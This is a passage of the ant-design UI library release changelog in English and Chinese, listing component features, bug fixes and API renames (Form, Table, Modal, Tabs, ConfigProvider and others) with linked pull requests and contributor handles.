[#​55543](https://redirect.github.com/ant-design/ant-design/pull/55543 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- Rate
- 🆕 Rate supports `size` to configure dimensions.
[#​55028](https://redirect.github.com/ant-design/ant-design/pull/55028 )
[@​guoyunhe](https://redirect.github.com/guoyunhe )
- 🆕 Rate `tooltips` support all config.
[07b1610](https://redirect.github.com/ant-design/ant-design/commit/07b1610 )
[@​Jerryqun](https://redirect.github.com/Jerryqun )
- 🆕 Select support `onActive` keyboard and mouse interaction.
[#​53931](https://redirect.github.com/ant-design/ant-design/pull/53931 )
[@​Wxh16144](https://redirect.github.com/Wxh16144 )
- 🆕 Typography `copyable` supports HTTP environment.
[#​55073](https://redirect.github.com/ant-design/ant-design/pull/55073 )
[@​JeeekXY](https://redirect.github.com/JeeekXY )
- Form
- 🔥 Form `useWatch` support dynamic name path.
[#​54260](https://redirect.github.com/ant-design/ant-design/pull/54260 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🆕 Form now excludes unregistered field values from `Form.List` when
getting values.
[#​55526](https://redirect.github.com/ant-design/ant-design/pull/55526 )
[@​crazyair](https://redirect.github.com/crazyair )
- ⚡ ️ Optimize Form `useWatch` perf when lots of Form.Item unmounted.
[#​54212](https://redirect.github.com/ant-design/ant-design/pull/54212 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🆕 Flex support `orientation` for layout.
[#​53648](https://redirect.github.com/ant-design/ant-design/pull/53648 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- DatePicker
- 🆕 DatePicker semantic structure adds panel `container` support.
[#​55388](https://redirect.github.com/ant-design/ant-design/pull/55388 )
[@​meet-student](https://redirect.github.com/meet-student )
- 🆕 DatePicker adds `previewValue` to control whether to display preview
value in input when hovering over options.
[#​55258](https://redirect.github.com/ant-design/ant-design/pull/55258 )
[@​meet-student](https://redirect.github.com/meet-student )
- 🐞 Fix DatePicker `onChange` parameter `dateString` returning incorrect
value when clearing.
[#​55155](https://redirect.github.com/ant-design/ant-design/pull/55155 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- Drawer
- 🆕 Drawer adds `resizable` to support drag capability.
[#​54883](https://redirect.github.com/ant-design/ant-design/pull/54883 )
[@​cactuser-Lu](https://redirect.github.com/cactuser-Lu )
- 💄 Drawer mask adds blur effect.
[#​54707](https://redirect.github.com/ant-design/ant-design/pull/54707 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🆕 ColorPicker `presets` support linear gradient color.
[#​53250](https://redirect.github.com/ant-design/ant-design/pull/53250 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- Collapse
- 🆕 Collapse `expandIconPosition` replaced with `expandIconPlacement`
and use logical position to improve RTL experience.
[#​54311](https://redirect.github.com/ant-design/ant-design/pull/54311 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🐞 Fix Collapse semantic structure `icon` targeting incorrect element.
[#​55499](https://redirect.github.com/ant-design/ant-design/pull/55499 )
[@​thinkasany](https://redirect.github.com/thinkasany )
- 🐞 Fix Collapse dynamic modification of semantic icon not taking
effect.
[#​55452](https://redirect.github.com/ant-design/ant-design/pull/55452 )
[@​thinkasany](https://redirect.github.com/thinkasany )
- Table
- 🆕 Table `scrollTo` support `offset` to adjust scroll position.
[#​54385](https://redirect.github.com/ant-design/ant-design/pull/54385 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🆕 Table use `pagination.placement` instead of `pagination.position`.
[#​54338](https://redirect.github.com/ant-design/ant-design/pull/54338 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- ⌨️ Improve Table a11y behavior by adding `aria-description` when
column is sortable.
[#​53087](https://redirect.github.com/ant-design/ant-design/pull/53087 )
[@​jon-cullison](https://redirect.github.com/jon-cullison )
- 🆕 Refactor Table `column.fixed` to use `start` & `end` to support
logical position.
[#​53114](https://redirect.github.com/ant-design/ant-design/pull/53114 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🐞 Fix Table showing duplicate filter dropdowns and tooltips when using
`sticky` or `scroll.y`. Fix Table column headers not displaying during
initial render phase.
[#​54910](https://redirect.github.com/ant-design/ant-design/pull/54910 )
[@​afc163](https://redirect.github.com/afc163 )
- 🐞 Fix Table data not refreshing when dynamically modifying
`childrenColumnName`.
[#​55559](https://redirect.github.com/ant-design/ant-design/pull/55559 )
[@​li-jia-nan](https://redirect.github.com/li-jia-nan )
- Progress
- 🆕 Progress use `gapPlacement` instead `gapPosition` and replace `left`
and `right` with `start` and `end`.
[#​54329](https://redirect.github.com/ant-design/ant-design/pull/54329 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🐞 Fix Progress indicator content not updating when props change.
[#​55554](https://redirect.github.com/ant-design/ant-design/pull/55554 )
[@​thinkasany](https://redirect.github.com/thinkasany )
- 🛠 Grid use CSS logical position to improve RTL experience.
[#​52560](https://redirect.github.com/ant-design/ant-design/pull/52560 )
[@​li-jia-nan](https://redirect.github.com/li-jia-nan )
- Notification
- 🛠 Notification support `closable` to take `onClose` & `closeIcon` into
it.
[#​54645](https://redirect.github.com/ant-design/ant-design/pull/54645 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🆕 Notification support custom progress bar color.
[#​52964](https://redirect.github.com/ant-design/ant-design/pull/52964 )
[@​yellowryan](https://redirect.github.com/yellowryan )
- Image
- 🆕 Image `cover` support placement.
[#​54492](https://redirect.github.com/ant-design/ant-design/pull/54492 )
[@​kiner-tang](https://redirect.github.com/kiner-tang )
- 🛠 Image remove default cover icon & text (Still can use `cover` to
config).
[#​54379](https://redirect.github.com/ant-design/ant-design/pull/54379 )
[@​765477020](https://redirect.github.com/765477020 )
- 🐞 Fix Image preview text issue when in RTL.
[#​53596](https://redirect.github.com/ant-design/ant-design/pull/53596 )
[@​aojunhao123](https://redirect.github.com/aojunhao123 )
- Modal
- 🆕 Modal `closable` support `onClose` props that trigger by any type of
close.
[#​54607](https://redirect.github.com/ant-design/ant-design/pull/54607 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🆕 ConfigProvider support config Modal `okButtonProps` &
`cancelButtonProps`.
[#​53684](https://redirect.github.com/ant-design/ant-design/pull/53684 )
[@​guoyunhe](https://redirect.github.com/guoyunhe )
- 🛠 Modal adjust DOM `className` to be align with semantic structure
standard.
[#​54472](https://redirect.github.com/ant-design/ant-design/pull/54472 )
[@​thinkasany](https://redirect.github.com/thinkasany )
- ⌨️ Apply Modal `closable.aria-*` attribute on the close button.
[#​53289](https://redirect.github.com/ant-design/ant-design/pull/53289 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🐞 Fix Modal quick switch `open` state will make screen operation
frozen.
[#​52753](https://redirect.github.com/ant-design/ant-design/pull/52753 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- Theme
- 🔥 Support `zeroRuntime` mode in `theme` prop of ConfigProvider, in
order to avoid runtime style generation.
[#​54334](https://redirect.github.com/ant-design/ant-design/pull/54334 )
[@​MadCcc](https://redirect.github.com/MadCcc )
- 🆕 MISC: CSS-in-JS support `autoPrefixTransformer` to add browser style
prefix.
[#​54427](https://redirect.github.com/ant-design/ant-design/pull/54427 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🆕 Design Token export cssVar in `useToken`.
[#​53195](https://redirect.github.com/ant-design/ant-design/pull/53195 )
[@​MadCcc](https://redirect.github.com/MadCcc )
- 💄 MISC: Remove mark style from reset.css.
[#​52974](https://redirect.github.com/ant-design/ant-design/pull/52974 )
[@​afc163](https://redirect.github.com/afc163 )
- 🔥 MISC: Use CSS variables by default.
[#​52671](https://redirect.github.com/ant-design/ant-design/pull/52671 )
[@​MadCcc](https://redirect.github.com/MadCcc )
- 💄 Design Token add `colorBorderDisabled` token to unify border color
in disabled state.
[#​52421](https://redirect.github.com/ant-design/ant-design/pull/52421 )
[@​aojunhao123](https://redirect.github.com/aojunhao123 )
- Segmented
- 🆕 Segmented support `items.tooltip`.
[#​54273](https://redirect.github.com/ant-design/ant-design/pull/54273 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🆕 Segmented support `orientation` for layout.
[#​53664](https://redirect.github.com/ant-design/ant-design/pull/53664 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🛠 Improve Segmented accessibility.
[#​52618](https://redirect.github.com/ant-design/ant-design/pull/52618 )
[@​aojunhao123](https://redirect.github.com/aojunhao123 )
- Tabs
- 🆕 Tabs use `tabPlacement` instead `tabPosition` and replace `left` and
`right` with `start` and `end`.
[#​54358](https://redirect.github.com/ant-design/ant-design/pull/54358 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 💄 Tabs remove active text shadow.
[#​53617](https://redirect.github.com/ant-design/ant-design/pull/53617 )
[@​guoyunhe](https://redirect.github.com/guoyunhe )
- 🐞 Fix Tabs focus behavior for empty TabPane to improve accessibility.
[#​52856](https://redirect.github.com/ant-design/ant-design/pull/52856 )
[@​aojunhao123](https://redirect.github.com/aojunhao123 )
- 🛠 Remove Tabs deprecated API.
[#​52768](https://redirect.github.com/ant-design/ant-design/pull/52768 )
[@​aojunhao123](https://redirect.github.com/aojunhao123 )
- 🛠 Replace Steps `labelPlacement` to `titlePlacement` to unify the API.
[#​53873](https://redirect.github.com/ant-design/ant-design/pull/53873 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- Space
- 🛠 Space use `separator` instead of `split`.
[#​53983](https://redirect.github.com/ant-design/ant-design/pull/53983 )
[@​thinkasany](https://redirect.github.com/thinkasany )
- 🛠 Space use `orientation` instead of `direction`.
[#​53669](https://redirect.github.com/ant-design/ant-design/pull/53669 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🆕 Spin support `styles.wrapper`.
[#​53448](https://redirect.github.com/ant-design/ant-design/pull/53448 )
[@​crazyair](https://redirect.github.com/crazyair )
- Splitter
- 🆕 Splitter use `orientation` instead of `layout` and support
`vertical` prop.
[#​53670](https://redirect.github.com/ant-design/ant-design/pull/53670 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🆕 Splitter support customize handle elements and style.
[#​52216](https://redirect.github.com/ant-design/ant-design/pull/52216 )
[@​wanpan11](https://redirect.github.com/wanpan11 )
- Tour
- 🐞 Fix Tour DOM structure `panel` className typo.
[#​55178](https://redirect.github.com/ant-design/ant-design/pull/55178 )
[@​thinkasany](https://redirect.github.com/thinkasany )
- 🐞 Fix Tour popup not follow when scroll.
[#​53140](https://redirect.github.com/ant-design/ant-design/pull/53140 )
[@​dependabot](https://redirect.github.com/dependabot )
- Button
- 🆕 Button `iconPosition` replaced with `iconPlacement` and support
logical position.
[#​54279](https://redirect.github.com/ant-design/ant-design/pull/54279 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🛠 Button `variant` & `color` refactor with css variables version to
reduce bundle size.
[#​54100](https://redirect.github.com/ant-design/ant-design/pull/54100 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🆕 Button add custom default and dashed type button background color in
disabled state.
[#​52839](https://redirect.github.com/ant-design/ant-design/pull/52839 )
[@​yellowryan](https://redirect.github.com/yellowryan )
- Tag
- 🆕 Tag support CheckableTagGroup sub component.
[#​53256](https://redirect.github.com/ant-design/ant-design/pull/53256 )
[@​guoyunhe](https://redirect.github.com/guoyunhe )
- 🆕 Tag custom color support variants.
[#​53097](https://redirect.github.com/ant-design/ant-design/pull/53097 )
[@​guoyunhe](https://redirect.github.com/guoyunhe )
- 🆕 Tag support `disabled` and `href`.
[#​52229](https://redirect.github.com/ant-design/ant-design/pull/52229 )
[@​aojunhao123](https://redirect.github.com/aojunhao123 )
- 🐞 Fix Tag not updating when modifying `variant` via ConfigProvider.
[#​55555](https://redirect.github.com/ant-design/ant-design/pull/55555 )
[@​thinkasany](https://redirect.github.com/thinkasany )
- 💄 Remove Tag `margin` style.
[#​52123](https://redirect.github.com/ant-design/ant-design/pull/52123 )
[@​li-jia-nan](https://redirect.github.com/li-jia-nan )
- Timeline
- 🆕 Timeline support `titleSpan` to config the size of `title`.
[#​54072](https://redirect.github.com/ant-design/ant-design/pull/54072 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🆕 Timeline support `orientation=horizontal` layout.
[#​54031](https://redirect.github.com/ant-design/ant-design/pull/54031 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🆕 Timeline `items.position` replaced with `items.placement` and using
logical position description to improve RTL experience.
[#​54382](https://redirect.github.com/ant-design/ant-design/pull/54382 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🆕 Transfer add `actions` prop which accept ReactNode array.
[#​54104](https://redirect.github.com/ant-design/ant-design/pull/54104 )
[@​afc163](https://redirect.github.com/afc163 )
- 🆕 Carousel use `dotPlacement` instead of `dotPosition` and
support`start` and `end` logical position.
[#​54294](https://redirect.github.com/ant-design/ant-design/pull/54294 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🆕 Divider use `orientation` instead of `type` and support `vertical`
syntax sugar.
[#​53645](https://redirect.github.com/ant-design/ant-design/pull/53645 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🛠 AutoComplete merge search related props into `showSearch`.
[#​54184](https://redirect.github.com/ant-design/ant-design/pull/54184 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🆕 Menu support `popupRender` for popup customization.
[#​53566](https://redirect.github.com/ant-design/ant-design/pull/53566 )
[@​Zyf665](https://redirect.github.com/Zyf665 )
- 🆕 Message support `pauseOnHover` that pause count down when user hover
on it.
[#​53785](https://redirect.github.com/ant-design/ant-design/pull/53785 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 💄 `reset.css` removes IE compatibility.
[#​55108](https://redirect.github.com/ant-design/ant-design/pull/55108 )
[@​thinkasany](https://redirect.github.com/thinkasany )
- 🛠 Slider support `orientation` to config layout.
[#​53671](https://redirect.github.com/ant-design/ant-design/pull/53671 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 💄 Remove InputNumber mobile default hidden controls.
[#​54900](https://redirect.github.com/ant-design/ant-design/pull/54900 )
[@​Wxh16144](https://redirect.github.com/Wxh16144 )
- 💄 Image mask adds blur effect.
[#​54714](https://redirect.github.com/ant-design/ant-design/pull/54714 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 💄 Modal mask adds blur effect.
[#​54670](https://redirect.github.com/ant-design/ant-design/pull/54670 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🛠 Deprecated List component and removed from document.
[#​54182](https://redirect.github.com/ant-design/ant-design/pull/54182 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🐞 Fix Statistic.Timer `onFinish` & `onChange` not trigger when window
is inactive.
[#​53894](https://redirect.github.com/ant-design/ant-design/pull/53894 )
[@​Psiphonc](https://redirect.github.com/Psiphonc )
- 🛠 Badge refactor `offset` style offset to CSS logical position.
[#​55245](https://redirect.github.com/ant-design/ant-design/pull/55245 )
[@​li-jia-nan](https://redirect.github.com/li-jia-nan )
- 🛠 BackTop has been removed.
[#​52206](https://redirect.github.com/ant-design/ant-design/pull/52206 )
[@​li-jia-nan](https://redirect.github.com/li-jia-nan )
- 🗑 Icon has been removed.
[#​52241](https://redirect.github.com/ant-design/ant-design/pull/52241 )
[@​li-jia-nan](https://redirect.github.com/li-jia-nan )
- 🛠 Remove Dropdown.Button, please use Space.Compact instead.
[#​53793](https://redirect.github.com/ant-design/ant-design/pull/53793 )
[@​Meet-student](https://redirect.github.com/Meet-student )
- 🛠 MISC: Replace `classNames` library with `clsx`.
[0246702](https://redirect.github.com/ant-design/ant-design/commit/0246702 )
[#​55164](https://redirect.github.com/ant-design/ant-design/pull/55164 )
[@​lijianan](https://redirect.github.com/lijianan )
- 🛠 MISC: Remove MediaQueryList compatibility code for legacy browsers.
[#​55396](https://redirect.github.com/ant-design/ant-design/pull/55396 )
[@​li-jia-nan](https://redirect.github.com/li-jia-nan )
- 🛠 MISC: Remove React 19 compatibility code, antd now supports React 19
by default.
[#​55274](https://redirect.github.com/ant-design/ant-design/pull/55274 )
[@​li-jia-nan](https://redirect.github.com/li-jia-nan )
- 🛠 MISC: Remove `copy-to-clipboard` deps.
[#​54448](https://redirect.github.com/ant-design/ant-design/pull/54448 )
[@​765477020](https://redirect.github.com/765477020 )
- 🔥 MISC: Raise build target which will not support IE anymore.
[#​53390](https://redirect.github.com/ant-design/ant-design/pull/53390 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🔥 MISC: Enabled `React Compiler` in the bundled outputs `antd.js` and
`antd.min.js` to improve performance. Users in CJS/ESM environments can
choose to enable it as needed. For more details, refer to the [React
documentation](https://react.dev/learn/react-compiler ).
[#​55781](https://redirect.github.com/ant-design/ant-design/pull/55781 )
[@​li-jia-nan](https://redirect.github.com/li-jia-nan )
- 🔥 MISC: Color-related components now support preset color names (e.g.,
`red`, `blue`, `green`, etc.).
[#​53241](https://redirect.github.com/ant-design/ant-design/pull/53241 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🌐 Add Marathi locale translation.
[#​55179](https://redirect.github.com/ant-design/ant-design/pull/55179 )
[@​divyeshagrawal](https://redirect.github.com/divyeshagrawal )
- TypeScript
- 🤖 Optimize Notification `duration` definition, now disable close is
`false`.
[#​55580](https://redirect.github.com/ant-design/ant-design/pull/55580 )
[@​wanpan11](https://redirect.github.com/wanpan11 )
***
- 🔥 组件语义化结构。感谢
[@​thinkasany](https://redirect.github.com/thinkasany ) 与
[@​meet-student](https://redirect.github.com/meet-student )
主导整个语义化结构的开发工作。
- 🔥 antd 组件支持语义化结构以及 ConfigProvider
配置。[#​53659](https://redirect.github.com/ant-design/ant-design/pull/53659 )
[#​53535](https://redirect.github.com/ant-design/ant-design/pull/53535 )
[#​52759](https://redirect.github.com/ant-design/ant-design/pull/52759 )
[#​53028](https://redirect.github.com/ant-design/ant-design/pull/53028 )
[#​52340](https://redirect.github.com/ant-design/ant-design/pull/52340 )
[#​52895](https://redirect.github.com/ant-design/ant-design/pull/52895 )
[#​52258](https://redirect.github.com/ant-design/ant-design/pull/52258 )
[#​52376](https://redirect.github.com/ant-design/ant-design/pull/52376 )
[#​53055](https://redirect.github.com/ant-design/ant-design/pull/53055 )
[#​53226](https://redirect.github.com/ant-design/ant-design/pull/53226 )
[#​53150](https://redirect.github.com/ant-design/ant-design/pull/53150 )
[#​53429](https://redirect.github.com/ant-design/ant-design/pull/53429 )
[#​52976](https://redirect.github.com/ant-design/ant-design/pull/52976 )
[#​52961](https://redirect.github.com/ant-design/ant-design/pull/52961 )
[#​52948](https://redirect.github.com/ant-design/ant-design/pull/52948 )
[#​53890](https://redirect.github.com/ant-design/ant-design/pull/53890 )
[#​53694](https://redirect.github.com/ant-design/ant-design/pull/53694 )
[#​53789](https://redirect.github.com/ant-design/ant-design/pull/53789 )
[#​53225](https://redirect.github.com/ant-design/ant-design/pull/53225 )
[#​53324](https://redirect.github.com/ant-design/ant-design/pull/53324 )
[#​52793](https://redirect.github.com/ant-design/ant-design/pull/52793 )
[#​53698](https://redirect.github.com/ant-design/ant-design/pull/53698 )
[#​53272](https://redirect.github.com/ant-design/ant-design/pull/53272 )
[#​53489](https://redirect.github.com/ant-design/ant-design/pull/53489 )
[#​52172](https://redirect.github.com/ant-design/ant-design/pull/52172 )
[#​52823](https://redirect.github.com/ant-design/ant-design/pull/52823 )
[#​53303](https://redirect.github.com/ant-design/ant-design/pull/53303 )
[#​52764](https://redirect.github.com/ant-design/ant-design/pull/52764 )
[#​53229](https://redirect.github.com/ant-design/ant-design/pull/53229 )
[#​53159](https://redirect.github.com/ant-design/ant-design/pull/53159 )
[#​53174](https://redirect.github.com/ant-design/ant-design/pull/53174 )
[#​52250](https://redirect.github.com/ant-design/ant-design/pull/52250 )
[#​52972](https://redirect.github.com/ant-design/ant-design/pull/52972 )
[#​52893](https://redirect.github.com/ant-design/ant-design/pull/52893 )
[#​52866](https://redirect.github.com/ant-design/ant-design/pull/52866 )
[#​52859](https://redirect.github.com/ant-design/ant-design/pull/52859 )
[#​52849](https://redirect.github.com/ant-design/ant-design/pull/52849 )
[#​52811](https://redirect.github.com/ant-design/ant-design/pull/52811 )
[#​52780](https://redirect.github.com/ant-design/ant-design/pull/52780 )
[#​52781](https://redirect.github.com/ant-design/ant-design/pull/52781 )
[#​52745](https://redirect.github.com/ant-design/ant-design/pull/52745 )
[#​52470](https://redirect.github.com/ant-design/ant-design/pull/52470 )
[#​52669](https://redirect.github.com/ant-design/ant-design/pull/52669 )
[#​52303](https://redirect.github.com/ant-design/ant-design/pull/52303 )
[#​52141](https://redirect.github.com/ant-design/ant-design/pull/52141 )
[#​52171](https://redirect.github.com/ant-design/ant-design/pull/52171 )
[#​54145](https://redirect.github.com/ant-design/ant-design/pull/54145 )
[#​53958](https://redirect.github.com/ant-design/ant-design/pull/53958 )
[#​55430](https://redirect.github.com/ant-design/ant-design/pull/55430 )
- 🔥 antd 组件语义化支持函数根据 props
动态生成。[#​54967](https://redirect.github.com/ant-design/ant-design/pull/54967 )
[#​54977](https://redirect.github.com/ant-design/ant-design/pull/54977 )
[#​54962](https://redirect.github.com/ant-design/ant-design/pull/54962 )
[#​54960](https://redirect.github.com/ant-design/ant-design/pull/54960 )
[#​55099](https://redirect.github.com/ant-design/ant-design/pull/55099 )
[#​54986](https://redirect.github.com/ant-design/ant-design/pull/54986 )
[#​54988](https://redirect.github.com/ant-design/ant-design/pull/54988 )
[#​54987](https://redirect.github.com/ant-design/ant-design/pull/54987 )
[#​55199](https://redirect.github.com/ant-design/ant-design/pull/55199 )
[#​54985](https://redirect.github.com/ant-design/ant-design/pull/54985 )
[#​55119](https://redirect.github.com/ant-design/ant-design/pull/55119 )
[#​54980](https://redirect.github.com/ant-design/ant-design/pull/54980 )
[#​55054](https://redirect.github.com/ant-design/ant-design/pull/55054 )
[#​54979](https://redirect.github.com/ant-design/ant-design/pull/54979 )
[#​55161](https://redirect.github.com/ant-design/ant-design/pull/55161 )
[#​55157](https://redirect.github.com/ant-design/ant-design/pull/55157 )
[#​55021](https://redirect.github.com/ant-design/ant-design/pull/55021 )
[#​55081](https://redirect.github.com/ant-design/ant-design/pull/55081 )
[#​55096](https://redirect.github.com/ant-design/ant-design/pull/55096 )
[#​55044](https://redirect.github.com/ant-design/ant-design/pull/55044 )
[#​55060](https://redirect.github.com/ant-design/ant-design/pull/55060 )
[#​54984](https://redirect.github.com/ant-design/ant-design/pull/54984 )
[#​54983](https://redirect.github.com/ant-design/ant-design/pull/54983 )
[#​55117](https://redirect.github.com/ant-design/ant-design/pull/55117 )
[#​54982](https://redirect.github.com/ant-design/ant-design/pull/54982 )
[#​55190](https://redirect.github.com/ant-design/ant-design/pull/55190 )
[#​55007](https://redirect.github.com/ant-design/ant-design/pull/55007 )
[#​55118](https://redirect.github.com/ant-design/ant-design/pull/55118 )
[#​54978](https://redirect.github.com/ant-design/ant-design/pull/54978 )
[#​54968](https://redirect.github.com/ant-design/ant-design/pull/54968 )
[#​54966](https://redirect.github.com/ant-design/ant-design/pull/54966 )
[#​54994](https://redirect.github.com/ant-design/ant-design/pull/54994 )
[#​54965](https://redirect.github.com/ant-design/ant-design/pull/54965 )
[#​55101](https://redirect.github.com/ant-design/ant-design/pull/55101 )
[#​54963](https://redirect.github.com/ant-design/ant-design/pull/54963 )
[#​55109](https://redirect.github.com/ant-design/ant-design/pull/55109 )
[#​54996](https://redirect.github.com/ant-design/ant-design/pull/54996 )
[#​54969](https://redirect.github.com/ant-design/ant-design/pull/54969 )
[#​55126](https://redirect.github.com/ant-design/ant-design/pull/55126 )
[#​54959](https://redirect.github.com/ant-design/ant-design/pull/54959 )
[#​55056](https://redirect.github.com/ant-design/ant-design/pull/55056 )
[#​55114](https://redirect.github.com/ant-design/ant-design/pull/55114 )
[#​54956](https://redirect.github.com/ant-design/ant-design/pull/54956 )
[#​54957](https://redirect.github.com/ant-design/ant-design/pull/54957 )
[#​55013](https://redirect.github.com/ant-design/ant-design/pull/55013 )
[#​54958](https://redirect.github.com/ant-design/ant-design/pull/54958 )
[#​55031](https://redirect.github.com/ant-design/ant-design/pull/55031 )
[#​54955](https://redirect.github.com/ant-design/ant-design/pull/54955 )
[#​55058](https://redirect.github.com/ant-design/ant-design/pull/55058 )
[#​55032](https://redirect.github.com/ant-design/ant-design/pull/55032 )
[#​54948](https://redirect.github.com/ant-design/ant-design/pull/54948 )
[#​54950](https://redirect.github.com/ant-design/ant-design/pull/54950 )
[#​54949](https://redirect.github.com/ant-design/ant-design/pull/54949 )
[#​54917](https://redirect.github.com/ant-design/ant-design/pull/54917 )
[#​54919](https://redirect.github.com/ant-design/ant-design/pull/54919 )
[#​54813](https://redirect.github.com/ant-design/ant-design/pull/54813 )
[#​55796](https://redirect.github.com/ant-design/ant-design/pull/55796 )
[@​meet-student](https://redirect.github.com/meet-student )
[@​hcjlxl](https://redirect.github.com/hcjlxl )
[@​Arktomson](https://redirect.github.com/Arktomson )
[@​zjr222](https://redirect.github.com/zjr222 )
[@​Linkodt](https://redirect.github.com/Linkodt )
[@​xkhanhan](https://redirect.github.com/xkhanhan )
[@​lovelts](https://redirect.github.com/lovelts )
[@​tanjiahao24](https://redirect.github.com/tanjiahao24 )
[@​li-jia-nan](https://redirect.github.com/li-jia-nan )
[@​Susuperli](https://redirect.github.com/Susuperli )
[@​ccc1018](https://redirect.github.com/ccc1018 )
[@​nmsn](https://redirect.github.com/nmsn )
[@​GinWU05](https://redirect.github.com/GinWU05 )
- 🔥 新增 Masonry
瀑布流组件。[#​52162](https://redirect.github.com/ant-design/ant-design/pull/52162 )
[@​OysterD3](https://redirect.github.com/OysterD3 )
- ConfigProvider
- 🆕 ConfigProvider 支持 Table `rowKey`
全局配置。[#​52751](https://redirect.github.com/ant-design/ant-design/pull/52751 )
[@​guoyunhe](https://redirect.github.com/guoyunhe )
- 🆕 ConfigProvider 支持 Card.Meta
的配置。[#​52214](https://redirect.github.com/ant-design/ant-design/pull/52214 )
[@​thinkasany](https://redirect.github.com/thinkasany )
- 🆕 ConfigProvider 支持Tooltip / Popover / Popconfirm
组件的箭头配置。[#​52434](https://redirect.github.com/ant-design/ant-design/pull/52434 )
[@​thinkasany](https://redirect.github.com/thinkasany )
- 🆕 ConfigProvider 支持 Space 组件 `root`
配置。[#​52248](https://redirect.github.com/ant-design/ant-design/pull/52248 )
[@​thinkasany](https://redirect.github.com/thinkasany )
- Tooltip
- 🔥 ConfigProvider 支持配置 `tooltip.unique` 让 Tooltip
支持平滑移动。[#​55154](https://redirect.github.com/ant-design/ant-design/pull/55154 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- ⚡ ️ 优化 Tooltip 开发模式下性能(约
\~40%)以提升研发体验。[#​53844](https://redirect.github.com/ant-design/ant-design/pull/53844 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- Input
- 🔥 InputNumber 增加 `mode="spinner"`
拨轮模式。[#​55592](https://redirect.github.com/ant-design/ant-design/pull/55592 )
[@​guoyunhe](https://redirect.github.com/guoyunhe )
- 🗑 Input.Search 重构废弃内部 `addon*` 的使用,用 Space.Compact
替换。[#​55705](https://redirect.github.com/ant-design/ant-design/pull/55705 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🐞 修复 Input.TextArea 的 `styles.textarea`
无法覆盖内置样式的问题。[#​55579](https://redirect.github.com/ant-design/ant-design/pull/55579 )
[@​meet-student](https://redirect.github.com/meet-student )
- 🆕 Pagination
快速跳转输入框现在限制只能输入数字。[#​55700](https://redirect.github.com/ant-design/ant-design/pull/55700 )
[@​afc163](https://redirect.github.com/afc163 )
- Mentions
- 🛠 重构 Mentions DOM 结构并支持 `suffix` 语义化结构以及 `size`
属性。[#​55638](https://redirect.github.com/ant-design/ant-design/pull/55638 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🐞 修复 Mentions 的 `autoResize=false`
时,无法拖拽缩放尺寸的问题。[#​54039](https://redirect.github.com/ant-design/ant-design/pull/54039 )
[@​jin19980928](https://redirect.github.com/jin19980928 )
- 🆕 Watermark 新增 `onRemove`
以支持被用户手工删除的事件触发。[#​55551](https://redirect.github.com/ant-design/ant-design/pull/55551 )
[@​984507092](https://redirect.github.com/984507092 )
- 🆕 Breadcrumb 支持 ConfigProvider `separator`
全局配置。[#​54680](https://redirect.github.com/ant-design/ant-design/pull/54680 )
[@​guoyunhe](https://redirect.github.com/guoyunhe )
- 🆕 Alert `closable` 支持 onClose 和 afterClose
方法。[#​54735](https://redirect.github.com/ant-design/ant-design/pull/54735 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🆕 Radio.Group 支持 `vertical`
纵向排列语法糖。[#​54727](https://redirect.github.com/ant-design/ant-design/pull/54727 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- Cascader
- 🆕 Cascader 支持 `aria-*` 和 `data-*`
属性。[#​53910](https://redirect.github.com/ant-design/ant-design/pull/53910 )
[@​kiner-tang](https://redirect.github.com/kiner-tang )
- 🆕 Cascader.Panel 添加 optionRender
允许自定义渲染选项。[#​54843](https://redirect.github.com/ant-design/ant-design/pull/54843 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🆕 Upload `accept`
配置支持自定义过滤逻辑。[#​55543](https://redirect.github.com/ant-design/ant-design/pull/55543 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- Rate
- 🆕 Rate 支持 `size`
